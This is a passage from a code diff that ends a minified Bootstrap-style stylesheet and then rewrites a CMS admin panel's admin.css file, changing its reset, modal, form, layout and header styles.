.x_caption{padding:9px;color:#555}.x .x_media,.x .x_media-body{overflow:hidden;*overflow:visible;zoom:1}.x .x_media,.x .x_media .x_media{margin-top:15px}.x .x_media:first-child{margin-top:0}.x .x_media-object{display:block}.x .x_media-heading{margin:0 0 5px}.x .x_media .x_pull-left{margin-right:10px}.x .x_media .x_pull-right{margin-left:10px}.x .x_media-list{margin-left:0;list-style:none}.x .x_label,.x .x_badge{display:inline-block;padding:2px 4px;font-size:11.844px;font-weight:bold;line-height:14px;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);white-space:nowrap;vertical-align:baseline;background-color:#999}.x .x_label{-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.x .x_badge{padding-right:9px;padding-left:9px;-webkit-border-radius:9px;-moz-border-radius:9px;border-radius:9px}.x .x_label:empty,.x .x_badge:empty{display:none}.x a.x_label:hover,.x a.x_badge:hover{color:#fff;text-decoration:none;cursor:pointer}.x .x_label-important,.x .x_badge-important{background-color:#b94a48}.x .x_label-important[href],.x .x_badge-important[href]{background-color:#953b39}.x .x_label-warning,.x .x_badge-warning{background-color:#f89406}.x .x_label-warning[href],.x .x_badge-warning[href]{background-color:#c67605}.x .x_label-success,.x .x_badge-success{background-color:#468847}.x .x_label-success[href],.x .x_badge-success[href]{background-color:#356635}.x .x_label-info,.x .x_badge-info{background-color:#3a87ad}.x .x_label-info[href],.x .x_badge-info[href]{background-color:#2d6987}.x .x_label-inverse,.x .x_badge-inverse{background-color:#333}.x .x_label-inverse[href],.x .x_badge-inverse[href]{background-color:#1a1a1a}.x .x_btn .x_label,.x .x_btn .x_badge{position:relative;top:-1px}.x .x_btn-mini .x_label,.x .x_btn-mini .x_badge{top:0}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-moz-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-ms-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:0 0}to{background-position:40px 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.x .x_progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f7f7f7;background-image:-moz-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:-webkit-gradient(linear,0 0,0 100%,from(#f5f5f5),to(#f9f9f9));background-image:-webkit-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:-o-linear-gradient(top,#f5f5f5,#f9f9f9);background-image:linear-gradient(to bottom,#f5f5f5,#f9f9f9);background-repeat:repeat-x;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f5f5f5',endColorstr='#f9f9f9',GradientType=0);-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.x .x_progress .x_bar{float:left;width:0;height:100%;font-size:12px;color:#fff;text-align:center;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#0e90d2;background-image:-moz-linear-gradient(top,#149bdf,#0480be);background-image:-webkit-gradient(linear,0 0,0 100%,from(#149bdf),to(#0480be));background-image:-webkit-linear-gradient(top,#149bdf,#0480be);background-image:-o-linear-gradient(top,#149bdf,#0480be);background-image:linear-gradient(to bottom,#149bdf,#0480be);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#149bdf',endColorstr='#0480be',GradientType=0);-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-moz-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;-webkit-transition:width .6s ease;-moz-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.x .x_progress .x_bar+.x_bar{-webkit-box-shadow:inset 1px 0 0 rgba(0,0,0,.15),inset 0 -1px 0 rgba(0,0,0,.15);-moz-box-shadow:inset 1px 0 0 rgba(0,0,0,.15),inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 1px 0 0 rgba(0,0,0,.15),inset 0 -1px 0 rgba(0,0,0,.15)}.x .x_progress-striped .x_bar{background-color:#149bdf;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,.15)),color-stop(0.75,rgba(255,255,255,.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;-moz-background-size:40px 40px;-o-background-size:40px 40px;background-size:40px 40px}.x .x_progress.x_active .x_bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-moz-animation:progress-bar-stripes 2s linear infinite;-ms-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.x .x_progress-danger .x_bar,.x .x_progress .x_bar-danger{background-color:#dd514c;background-image:-moz-linear-gradient(top,#ee5f5b,#c43c35);background-image:-webkit-gradient(linear,0 0,0 100%,from(#ee5f5b),to(#c43c35));background-image:-webkit-linear-gradient(top,#ee5f5b,#c43c35);background-image:-o-linear-gradient(top,#ee5f5b,#c43c35);background-image:linear-gradient(to bottom,#ee5f5b,#c43c35);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b',endColorstr='#c43c35',GradientType=0)}.x .x_progress-danger.x_progress-striped .x_bar,.x .x_progress-striped .x_bar-danger{background-color:#ee5f5b;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,.15)),color-stop(0.75,rgba(255,255,255,.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.x .x_progress-success .x_bar,.x .x_progress .x_bar-success{background-color:#5eb95e;background-image:-moz-linear-gradient(top,#62c462,#57a957);background-image:-webkit-gradient(linear,0 0,0 100%,from(#62c462),to(#57a957));background-image:-webkit-linear-gradient(top,#62c462,#57a957);background-image:-o-linear-gradient(top,#62c462,#57a957);background-image:linear-gradient(to bottom,#62c462,#57a957);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462',endColorstr='#57a957',GradientType=0)}.x .x_progress-success.x_progress-striped .x_bar,.x .x_progress-striped .x_bar-success{background-color:#62c462;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,.15)),color-stop(0.75,rgba(255,255,255,.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.x .x_progress-info .x_bar,.x .x_progress .x_bar-info{background-color:#4bb1cf;background-image:-moz-linear-gradient(top,#5bc0de,#339bb9);background-image:-webkit-gradient(linear,0 0,0 100%,from(#5bc0de),to(#339bb9));background-image:-webkit-linear-gradient(top,#5bc0de,#339bb9);background-image:-o-linear-gradient(top,#5bc0de,#339bb9);background-image:linear-gradient(to bottom,#5bc0de,#339bb9);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5bc0de',endColorstr='#339bb9',GradientType=0)}.x .x_progress-info.x_progress-striped .x_bar,.x .x_progress-striped .x_bar-info{background-color:#5bc0de;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,.15)),color-stop(0.75,rgba(255,255,255,.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.x .x_progress-warning .x_bar,.x .x_progress .x_bar-warning{background-color:#faa732;background-image:-moz-linear-gradient(top,#fbb450,#f89406);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fbb450),to(#f89406));background-image:-webkit-linear-gradient(top,#fbb450,#f89406);background-image:-o-linear-gradient(top,#fbb450,#f89406);background-image:linear-gradient(to bottom,#fbb450,#f89406);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fbb450',endColorstr='#f89406',GradientType=0)}.x .x_progress-warning.x_progress-striped .x_bar,.x .x_progress-striped .x_bar-warning{background-color:#fbb450;background-image:-webkit-gradient(linear,0 100%,100% 0,color-stop(0.25,rgba(255,255,255,.15)),color-stop(0.25,transparent),color-stop(0.5,transparent),color-stop(0.5,rgba(255,255,255,.15)),color-stop(0.75,rgba(255,255,255,.15)),color-stop(0.75,transparent),to(transparent));background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-moz-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.x .x_accordion{margin-bottom:20px}.x .x_accordion-group{margin-bottom:2px;border:1px solid #e5e5e5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x .x_accordion-heading{border-bottom:0}.x .x_accordion-heading .x_accordion-toggle{display:block;padding:8px 15px}.x .x_accordion-toggle{cursor:pointer}.x .x_accordion-inner{padding:9px 15px;border-top:1px solid #e5e5e5}.x .x_carousel{position:relative;margin-bottom:20px;line-height:1}.x .x_carousel-inner{position:relative;width:100%;overflow:hidden}.x .x_carousel-inner>.x_item{position:relative;display:none;-webkit-transition:.6s ease-in-out left;-moz-transition:.6s ease-in-out left;-o-transition:.6s ease-in-out left;transition:.6s ease-in-out left}.x .x_carousel-inner>.x_item>img{display:block;line-height:1}.x .x_carousel-inner>.x_active,.x .x_carousel-inner>.x_next,.x .x_carousel-inner>.x_prev{display:block}.x .x_carousel-inner>.x_active{left:0}.x .x_carousel-inner>.x_next,.x .x_carousel-inner>.x_prev{position:absolute;top:0;width:100%}.x .x_carousel-inner>.x_next{left:100%}.x .x_carousel-inner>.x_prev{left:-100%}.x .x_carousel-inner>.x_next.x_left,.x .x_carousel-inner>.x_prev.x_right{left:0}.x .x_carousel-inner>.x_active.x_left{left:-100%}.x .x_carousel-inner>.x_active.x_right{left:100%}.x .x_carousel-control{position:absolute;top:40%;left:15px;width:40px;height:40px;margin-top:-20px;font-size:60px;font-weight:100;line-height:30px;color:#fff;text-align:center;background:#222;border:3px solid #fff;-webkit-border-radius:23px;-moz-border-radius:23px;border-radius:23px;opacity:.5;filter:alpha(opacity=50)}.x .x_carousel-control.x_right{right:15px;left:auto}.x .x_carousel-control:hover{color:#fff;text-decoration:none;opacity:.9;filter:alpha(opacity=90)}.x .x_carousel-caption{position:absolute;right:0;bottom:0;left:0;padding:15px;background:#333;background:rgba(0,0,0,.75)}.x .x_carousel-caption h4,.x .x_carousel-caption p{line-height:20px;color:#fff}.x .x_carousel-caption h4{margin:0 0 5px}.x .x_carousel-caption p{margin-bottom:0}.x .x_hero-unit{padding:60px;margin-bottom:30px;font-size:18px;font-weight:200;line-height:30px;color:inherit;background-color:#eee;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.x .x_hero-unit h1{margin-bottom:0;font-size:60px;line-height:1;letter-spacing:-1px;color:inherit}.x .x_hero-unit li{line-height:30px}.x .x_pull-right{float:right}.x .x_pull-left{float:left}.x .x_hide{display:none}.x .x_show{display:block}.x .x_invisible{visibility:hidden}.x .x_affix{position:fixed} \ No newline at end of file diff --git a/modules/admin/tpl/css/admin.css b/modules/admin/tpl/css/admin.css index c74627d1a..d1c4cb784 100644 --- a/modules/admin/tpl/css/admin.css +++ b/modules/admin/tpl/css/admin.css @@ -1,20 +1,531 @@ @charset "utf-8"; -/* Element Reset */ -header,footer,section,article,aside,nav,hgroup,details,menu,figure,figcaption{display:block} -.x, +/* Reset */ +html,body{min-height:100%} +body{-webkit-text-size-adjust:none} +body>.x:first-child{min-width:300px;max-width:1240px;margin:0 auto} +body>.x, +.x label, .x table, .x input, .x textarea, .x select, -.x button{font-size:13px;color:#333} -.x button, -.x input[type=submit], -.x input[type=reset], -.x input[type=button]{cursor:pointer;overflow:visible} -.x img{border:0} -.x p{line-height:1.5} +.x button{font-size:13px} +.x strong, +.x th{font-weight:600} +.x em, +.x dfn{font-style:normal} +.x [disabled]{cursor:not-allowed} +.x [hidden]{display:none} +.x a[target="_blank"]:after{ content:"";display:inline-block;width:14px;height:14px;vertical-align:middle;margin:-2px 0 0 2px;background-position:-120px -72px;opacity:.3;filter:alpha(opacity=30)} +.x a[target="_blank"]:hover:after, +.x a[target="_blank"]:focus:after{opacity:.7;filter:alpha(opacity=70)} +.x mark{background-color:#FF0;color:#000} +/* Bootstrap Override */ +.x .x_page-header{margin-top:10px;padding-bottom:0;border-bottom:2px solid #ddd} +.x .x_page-header>h1{position:relative;margin-bottom:0;font-size:24px;color:#333} +.x .x_page-header>h1>.x_icon-question-sign{margin:0} +.x .x_page-header>h1>.path+.x_icon-question-sign{margin:4px 0 0 0} +.x .x_icon-question-sign{vertical-align:middle} +.x h1, +.x h2, +.x h3, +.x h4, +.x h5, +.x h6{line-height:1.5;font-weight:600;color:#666;text-rendering:auto} +.x h1{font-size:22px} +.x h2{font-size:18px} +.x h3{font-size:14px} +.x h4, +.x h5, +.x h6{font-size:12px} +.x [class^="x_icon-"], +.x [class*=" x_icon-"]{text-decoration:none;border:0;padding:0 0 0 14px;width:0;background-color:transparent;overflow:hidden;font-size:0} +.x .x_close{width:32px;height:32px;font-size:17px;opacity:.5;filter:alpha(opacity=50)} +.x .x_alert{position:relative} +.x .x_alert>.x_close{position:absolute;top:0;right:0} +.x .x_pagination{height:26px;margin:10px 0 0 0} +.x .x_pagination ul>li>a, +.x .x_pagination ul>li>span, +.x .x_pagination ul>li>strong{line-height:24px;padding:0 8px} +.x .x_pagination ul>.x_active>a, +.x .x_pagination ul>.x_active>span, +.x .x_pagination ul>.x_active>strong{line-height:26px;border:0;background-color:#333 !important;color:#fff;font-weight:bold;font-size:18px;font-family:Arial, Helvetica, sans-serif;border-radius:2px} +.x .x_pagination [id^="goTo"]{display:none;margin:0;padding:0} +.x .x_pagination [id^="goTo"]>*{border:0;border-radius:0} +.x .x_pagination [id^="goTo"]>[type="number"]{height:16px;line-height:16px;width:50px;text-align:center} +.x .x_pagination [id^="goTo"]>[type="submit"]{line-height:24px;height:24px;padding:0 6px} +.x .btn{color:#333} +.x .x_btn{border-radius:2px;overflow:visible;font-size:14px;line-height:18px;padding:3px 9px;text-decoration:none !important} +.x .x_btn-large{font-size:16px;padding:9px 14px;font-weight:bold} +.x .x_btn-small{font-size:14px} +.x .x_btn-mini{font-size:11px;padding:1px 6px;line-height:17px} +.x .x_btn-link{padding:0;margin:0;overflow:visible;font-size:13px;border:0} +.x .x_btn-group{zoom:1} +.x .x_btn-group:after{content:"";display:block;clear:both} +.x .x_btn-group>.x_btn{border-radius:0} +.x .x_btn-group>.x_btn:last-child, +.x .x_btn-group>.x_dropdown-toggle{border-top-right-radius:2px;border-bottom-right-radius:2px} +.x .x_btn-group>.x_btn:first-child{border-bottom-left-radius:2px;border-top-left-radius:2px} +.x .x_btn-group>.x_btn-inverse+.x_btn-inverse{border-left-color:#555} +.x input[type="radio"], +.x input[type="checkbox"]{margin:0} +.x input[type="file"]{height:auto} +.x td select, +.x td textarea, +.x td input{margin-bottom:0} +.x [class*="x_icon-"]{opacity:.5;filter:alpha(opacity=50)} +.x [class*="x_icon-"]:hover, +.x [class*="x_icon-"]:focus, +.x *:hover>[class*="x_icon-"], +.x *:focus>[class*="x_icon-"]{opacity:1;filter:alpha(opacity=100)} +.x .x_nav-tabs>li>a{padding-top:6px;padding-bottom:6px;text-decoration:none !important} +.x .x_nav-tabs>li.x_active>a{font-weight:bold} +.x .x_table{margin:10px 0;border-top:2px solid #ddd;border-bottom:1px solid #ddd} +.x h1+.x_table{border-top:0;margin-top:-10px} +.x .x_table>caption{text-align:left;padding:0 0 10px 0;line-height:26px} +.x .x_table>caption>a, +.x .x_table>caption>i, +.x .x_table>caption>strong{position:relative;top:7px} +.x .x_table thead th{vertical-align:top} +.x .x_table input{margin:0} +.x .x_inline{display:inline-block;*display:inline;*zoom:1} +.x .x_page-header+.x_form-horizontal{margin-top:-20px} +.x .x_controls:after{content:"";display:block;clear:both} +.x label.checked, +.x input:checked+label, +.x .x_form-horizontal .x_control-label{font-weight:bold;word-break:keep-all} +.x .x_form-horizontal .x_control-label{width:180px} +.x .x_form-horizontal .x_controls{margin-left:200px;*margin-left:0} +.x .x_form-horizontal .x_controls label{padding:5px 0;margin-bottom:0} +.x input[type="radio"]+label, +.x input[type="checkbox"]+label{font-weight:normal} +.x label.x_inline{margin-right:16px} +.x .x_input-append>*{vertical-align:top} +.x .x_input-append a.x_add-on, +.x .x_input-prepend a.x_add-on{height:16px;line-height:16px} +.x .x_input-append button.x_add-on, +.x .x_input-prepend button.x_add-on{height:24px;line-height:16px} +.x .x_modal-header{padding:10px 15px;border-bottom:1px solid #aaa;background-color:#333;border-radius:5px 5px 0 0;background-image:-webkit-linear-gradient(top, #666, #333 50%, #000 50%, #333 100%);background-image:-moz-linear-gradient(top, #666, #333 50%, #000 50%, #333 100%);background-image:-o-linear-gradient(top, #666, #333 50%, #000 50%, #333 100%);background-image:linear-gradient(top, #666, #333 50%, #000 50%, #333 100%)} +.x .x_modal-header>h1, +.x .x_modal-header>h2, +.x .x_modal-header>h3{font-size:16px;line-height:30px;margin:0;color:#fff;text-shadow:0 -1px 0 #000} +.x .x_modal-body{overflow-y:visible;max-height:none} +.x_modal, +.x_modal-backdrop{display:none} +.x_modal-backdrop{opacity:.6;filter:alpha(opacity=60)} +.x_modal{padding:0;width:90%;margin:0 0 0 -45%;max-width:none;border-radius:6px} +.x_modal>form{margin:0 !important} +.x_modal>.x_close{position:absolute;top:8px;right:10px;font-size:21px;color:#fff} +.x_modal .x_modal-body{background:#fff;min-height:50px;overflow-y:auto;max-height:400px} +.x_modal-body:after{content:"";display:block;clear:both} +.x .x_control-group{padding-top:8px;border-top:1px dotted #ddd;clear:both} +.x .x_control-group:before{content:"";display:block;clear:both} +.x .x_control-group:first-child, +.x .x_control-group:first-of-type{border-top:0;padding-top:0} +.x .x_control-group select{width:auto;min-width:220px} +.x .x_form-horizontal .x_control-group{margin-bottom:10px} +.x input[type="text"], +.x input[type="password"], +.x input[type="datetime"], +.x input[type="datetime-local"], +.x input[type="date"], +.x input[type="month"], +.x input[type="time"], +.x input[type="week"], +.x input[type="number"], +.x input[type="email"], +.x input[type="url"], +.x input[type="search"], +.x input[type="tel"], +.x input[type="color"]{height:16px;line-height:16px} +.x input[type="number"]{width:50px} +.x select{padding:0;height:26px;line-height:26px} +.x select[multiple]{height:auto} +.x textarea{vertical-align:top} +.x .x_tab-content{overflow:visible} +.x .x_well>*:first-child{margin-top:0} +.x .x_well>*:last-child{margin-bottom:0} +.x legend{font-size:14px;font-weight:bold;line-height:24px} +.x label{font-weight:inherit} +.x label:only-child{margin-bottom:0} +.x td p, +.x p:last-child{margin-bottom:0} +.x form{margin:0 0 10px 0} +.x form .x_btn[type="submit"]:only-child{min-width:120px} +.x .x_help-inline{display:inline} +.x .x_btn.x_disabled, +.x .x_btn[disabled]{opacity:.5;filter:alpha(opacity=50);cursor:not-allowed} +@media all and (max-width:980px){ +.x .x_form-horizontal .x_control-label{float:none;width:auto;text-align:left} +.x .x_form-horizontal .x_controls{margin-left:0} +} +/* Custom Styles */ +.x .section{margin:20px 0 40px 0} +.x .section>h1{position:relative;border-bottom:1px solid #ddd} +.x .section>h1>.snToggle{position:absolute;bottom:0;right:0;width:32px;height:32px;opacity:.5;filter:alpha(opacity=50)} +.x .section>h1>.snToggle.x_icon-chevron-up{background-position:-279px -112px} +.x .section>h1>.snToggle.x_icon-chevron-down{background-position:-303px -111px} +.x .section>h2{position:relative;border-bottom:1px dotted #ddd} +.x .section>h2+.x_control-group{border-top:0} +.x .section.collapsed>*{display:none} +.x .section.collapsed>h1{display:block} +.x .center{text-align:center} +.x .search{margin:10px 0 0 0} +.x .search select{width:auto} +.x .search>input[type="search"]{height:16px;line-height:16px;width:120px} +.x .vr{color:#ccc;font-style:normal} +.x .nowr{white-space:nowrap} +.x .btnArea{padding:10px 0;margin:10px 0;border-top:1px solid #ccc;text-align:right;zoom:1;clear:both} +.x .btnArea:after{content:"";display:block;clear:both} +.x li.active>a, +.x a.active{color:#000;font-weight:bold;text-decoration:none} +.x .module_search+[readonly]{vertical-align:top;border-top-right-radius:0;border-bottom-right-radius:0} +.x .module_search+[readonly]+a.x_btn{vertical-align:top;border-top-left-radius:0;border-bottom-left-radius:0;margin-left:-5px} +.x .fileBtn{position:relative;display:inline-block;overflow:hidden} +.x .fileBtn>input[type="file"]{position:absolute;top:0;right:0;margin:0;padding:0;border:0;outline:0;cursor:pointer;opacity:0;filter:alpha(opacity=0);-webkit-transform:scale(4);-webkit-transform-origin:100% 0;-moz-transform:scale(4);-moz-transform-origin:100% 0;-o-transform:scale(4);-o-transform-origin:100% 0;transform:scale(4);transform-origin:100% 0} +.x td>form, +.x td>p:only-of-type, +.x td>p:last-of-type{margin:0} +.x [data-display="none"]{display:none} +.x .x_page-header .path{font-size:14px;display:inline-block} +.x .x_page-header .path:first-letter{color:#ccc;font-weight:normal} +.x [data-toggle]+.x_help-block{margin-top:10px} +.x input.switch{width:42px;height:16px;opacity:0;filter:alpha(opacity=0);position:relative;z-index:2} +.x input.switch+i{position:relative !important;z-index:1;left:auto !important;top:auto !important;right:auto !important;bottom:auto !important;margin:0 0 0 -42px !important;opacity:1 !important;filter:alpha(opacity=100) !important;padding:0;vertical-align:middle;display:inline-block;width:42px;height:16px;background-image:url(../../../../modules/admin/tpl/img/toggleSwitch.png) !important;background-repeat:no-repeat} +.x input[checked].switch+i{background-position:0 -16px !important} +.x_modal._common {width:600px;margin-left:-300px} +.x_modal._common._small{width:400px;margin-left:-200px} +@media all and (max-width:650px){ +.x_modal._common {width:90%;margin-left:-45%} +} +@media all and (max-width:450px){ +.x_modal._common._small{width:90%;margin-left:-45%} +} +.x_modal._common._nobody .x_modal-body, +.x_modal._common._type_alert .x_modal-header, +.x_modal._common._type_alert ._cancel{display:none} +.x_modal._common._type_alert .x_modal-body{border-radius:6px 6px 0 0;} +.x_modal._common._nobody .x_modal-footer{border-top:0} +.x_modal-body.showTree .moveList{float:left;width:60%} +.x_modal-body.showTree .moveTree{display:block !important;float:right;width:38%} +.x_modal-body.showTree .moveTree>h1{font-size:13px;color:#333;border-bottom:2px solid #ddd;padding:10px 0 7px 0} +@media all and (max-width:960px){ +.x_modal-body.showTree .moveList, +.x_modal-body.showTree .moveTree{float:none;width:auto} +} +/* Image Sprite */ +.x a[target="_blank"]:after, +.x>.body>.gnb>ul>li>a>i, +.x .dashboard>div>section>h2:before{background-image:url(../img/glyphicons-halflings.png);background-repeat:no-repeat} +.x>.body>.gnb>ul>li.open>a>i, +.x>.body>.gnb>ul>li.active>a>i, +.x_modal-body .tree .jstree-hovered>i, +.x_modal-body .tree .jstree-clicked>i{background-image:url(../img/glyphicons-halflings-white.png);background-repeat:no-repeat} +@media all and (max-width:800px){ +.x>.body>.gnb>ul>li:first-child>a>i{background-image:url(../img/glyphicons-halflings-white.png);background-repeat:no-repeat} +} +/* Layout */ +.x>.skipNav{margin:0} +.x>.skipNav>a{display:block;height:1px;text-align:center;border-radius:4px;overflow:hidden;color:#333;text-decoration:none} +.x>.skipNav>a:focus{height:auto;margin:5px 0;padding:8px 0;background:#fff} +.x>.header{position:relative;z-index:2;padding:10px 15px;zoom:1;border-bottom:1px solid #ddd;background-color:#fff;zoom:1} +.x>.header:after{content:"";display:block;clear:both} +.x>.header:before{content:"";position:absolute;bottom:0;left:1px;right:1px;height:1px;box-shadow:0 2px 3px #ddd} +.x>.body{position:relative;zoom:1;padding:0 0 50px 215px;z-index:1} +.x>.body.wide{padding-left:70px} +.x>.body:after{content:"";display:block;clear:both} +.x>.body>.content{width:100%;padding:1px 0 0 0;float:right;margin:0 0 0 -100%;outline:none} +.x>.body>.content>*:first-child{margin-top:0} +.x>.body>.gnb{width:180px;position:relative;margin:15px 0 0 -215px;float:left;display:inline} +.x>.body.wide>.gnb{width:38px;margin-left:-70px} +@media all and (max-width:800px){ +.x>.header{border-bottom:0} +.x>.header:before{content:normal} +.x>.body, +.x>.body.wide{padding:0} +.x>.body>.content{width:auto;padding:1px 10px 0 10px;float:none;margin:0 0 30px 0} +.x>.body>.gnb{float:none;display:block;width:auto;margin:0 !important;border-radius:0;position:relative;top:auto;left:auto} +.x>.body.wide>.gnb{width:auto} +} +/* Header */ +.x>.header>h1{display:inline-block;*display:inline;zoom:1;margin:0 15px 0 0;white-space:nowrap} +.x>.header>h1>a{text-decoration:none;color:#333;font-size:24px;line-height:40px;font-family:Arial, Helvetica, sans-serif} +.x>.header>h1>a>img{vertical-align:middle} +.x>.header>.site{display:inline-block;*display:inline;zoom:1;margin:14px 0 0 0;font-size:11px} +.x>.header>.site>a{text-decoration:none;color:#666;font-family:Tahoma, Geneva, sans-serif} +.x>.header>.site>a:hover, +.x>.header>.site>a:focus{text-decoration:underline} +.x>.header>.account{float:right;position:relative;margin:13px 0 0 0} +.x>.header>.account>ul{list-style:none;margin:0;padding:0} +.x>.header>.account>ul>li{display:inline} +.x>.header>.account>ul>li:before{content:"| ";color:#ddd} +.x>.header>.account>ul>li:first-child:before{content:normal} +.x>.header>.account>ul>li>a{text-decoration:none;color:#666} +.x>.header>.account>ul>li>a:hover, +.x>.header>.account>ul>li>a:focus{text-decoration:underline} +.x>.header>.account .lang+#lang{position:absolute;top:20px;left:auto;right:0;min-width:0} +.x>.header>.account .lang+#lang a:focus, +.x>.header>.account .lang+#lang a:hover{background:none;color:#333} +.x>.header>.account .lang+#lang .x_active>a{color:#fff;background:#0081c2 -webkit-linear-gradient(top, #0088cc, #0077b3);background:#0081c2 -moz-linear-gradient(top, #0088cc, #0077b3);background:#0081c2 -o-linear-gradient(top, #0088cc, #0077b3)} +@media all and (max-width:480px){ +.x>.header>.site{margin-top:0} +} +@media all and (max-width:800px){ +.x>.header>.account{margin-top:0} +} +/* Footer */ +.x>.footer{border-top:1px solid #ddd;padding:10px 15px;zoom:1} 